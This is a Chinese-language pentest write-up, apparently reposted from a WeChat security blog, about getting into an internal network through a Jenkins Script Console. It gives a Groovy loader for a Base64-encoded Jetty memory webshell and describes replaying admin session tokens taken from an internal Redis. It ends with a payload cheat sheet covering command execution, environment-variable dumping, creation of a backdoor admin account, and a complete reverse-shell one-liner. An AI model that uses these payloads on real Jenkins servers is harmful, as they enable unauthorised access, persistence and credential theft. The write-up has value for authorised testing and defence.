前言
判断当前网络环境
println 'whoami'.execute().text
但执行来执行去,发现很多命令都没有,是个docker容器,稍复杂一些的命令执行也会报错。
想着测试下这台Jenkins(云服务器)会不会通内网数据库IP,执行了下ping命令,发现没回显,和命令执行失败一样。此时可以使用如下这段Groovy代码去判断是否通内网指定IP(也可用来判断是否出网),项目中运气好,居然真是通的。
import java.net.InetAddress
def host = "192.168.77.5" // 要测试的主机名或IP地址
try {
def address = InetAddress.getByName(host)
if (address.isReachable(5000)) {
println("$host is reachable.")
} else {
println("$host is not reachable.")
}
} catch (Exception e) {
println("Error occurred: ${e.message}")
}
本地搭建Jenkins测试环境
想连接数据库需要搭建代理进入内网,注入内存马无疑会方便后续的操作,在网上搜了半天没有相关合适的文章,想着搭建下靶机环境自己本地先测试下。搭建高版本Jenkins测试环境需要注意,其需配合高版本的jdk才能正常安装运行,我这里安装的是jdk17。
一直下一步安装完成后,打开web界面,看到如下页面即服务启动成功。
第一次安装登录时,在提示的文件 C:ProgramDataJenkins.jenkinssecretsinitialAdminPassword
找到登录密码,登录后如果遇见如下报错;
直接访问 /script
来到后台 Script Console
执行页面,我们只需要把漏洞复现环境搭建起来了就行,其它功能报错可以暂时先忽略。
注入内存马测试
首先我们需要确定 Jenkins 可以注入什么类型的内存马。网上搜一下大概就知道了,或者抓个包看看,默认在响应头可以看到中间件信息。
使用 jMG内存马工具 去生成 Jetty 中间件的内存马。
有了内存马,我们还需要一段Groovy代码去加载运行它,花了一些时间去测试后,构造出如下POC。
new groovy.lang.GroovyClassLoader().defineClass(null, java.util.Base64.getDecoder().decode("yv66vgAAA...")).newInstance();
点击运行,回显如下,即说明代码运行正常未报错。
使用哥斯拉连接测试成功
登录靶标系统后台
相同方式拿下目标Jenkins,搭建代理,首先是查看了下内网mysql,后台密码加密方式未知,且登录需要短信验证码,不太好解决。接着从内网redis中找到一处存储session的位置,这里思路是取一个session拿过去尝试复用进入后台,测试后发现确实为靶标系统的登录凭证。
session有几十个,有些是低权限用户的,有些是不存活的,我们需要筛选出管理员的session。将所有session拉到burpsuite中替换跑一遍,通过后台页面响应包中用户名的区别,确定到管理员session是哪一个。
替换cookie成功进入后台,获得靶标系统后台管理员权限,结束。
-后台图片-
收集的其它功能命令
执行命令1
println "whoami".execute().text
执行命令2
def proc = "whoami".execute();
def os = new StringBuffer();
proc.waitForProcessOutput(os, System.err);
println(os.toString());
执行命令3
def command = "ping baidu.com -n 2" // 要执行的命令
def process = command.execute() // 执行命令
process.waitFor() // 等待命令执行完成
def output = process.text // 获取命令输出结果
println(output) // 打印输出结果
获取环境变量
def env = System.getenv()
println "${env}"
创建用户(未测试)
import jenkins.model.*
import hudson.security.*
def instance = Jenkins.getInstance()
def hudsonRealm = new HudsonPrivateSecurityRealm(false)
hudsonRealm.createAccount("ccav","123qwe!@#...")
instance.setSecurityRealm(hudsonRealm)
instance.save()
反弹shell(未测试)
String host="0.0.0.0";
int port=4444;
String cmd="/bin/bash";Process p=new ProcessBuilder(cmd).redirectErrorStream(true).start();Socket s=new Socket(host,port);InputStream pi=p.getInputStream(),pe=p.getErrorStream(), si=s.getInputStream();OutputStream po=p.getOutputStream(),so=s.getOutputStream();while(!s.isClosed()){while(pi.available()>0)so.write(pi.read());while(pe.available()>0)so.write(pe.read());while(si.available()>0)po.write(si.read());so.flush();po.flush();Thread.sleep(50);try {p.exitValue();break;}catch (Exception e){}};p.destroy();s.close();
参考文章
https://github.com/pen4uin/java-memshell-generator-release (推荐此工具)
https://lzcloudsecurity.gitbook.io/yun-an-quan-gong-fang-ru-men/di-qi-zhang-yun-yuan-sheng-ying-yong-de-devops/jenkins-shen-tou-chang-jing
原文始发于微信公众号(哈拉少安全小队):记一次Jenkins后台注入内存马测试
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论